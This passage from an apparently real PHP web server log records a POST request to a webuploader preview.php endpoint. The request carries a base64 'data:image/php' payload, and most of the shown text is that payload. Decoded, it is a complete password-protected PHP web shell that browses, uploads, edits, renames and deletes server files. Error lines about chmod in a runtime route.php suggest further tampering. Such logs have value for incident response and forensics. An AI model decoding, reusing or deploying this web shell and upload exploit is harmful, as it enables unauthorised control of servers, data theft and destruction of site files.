AgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:03+08:00 ] 119.42.146.234 POST 51tianwei.com/001/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002739s] [吞吐率:365.10req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '001', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKF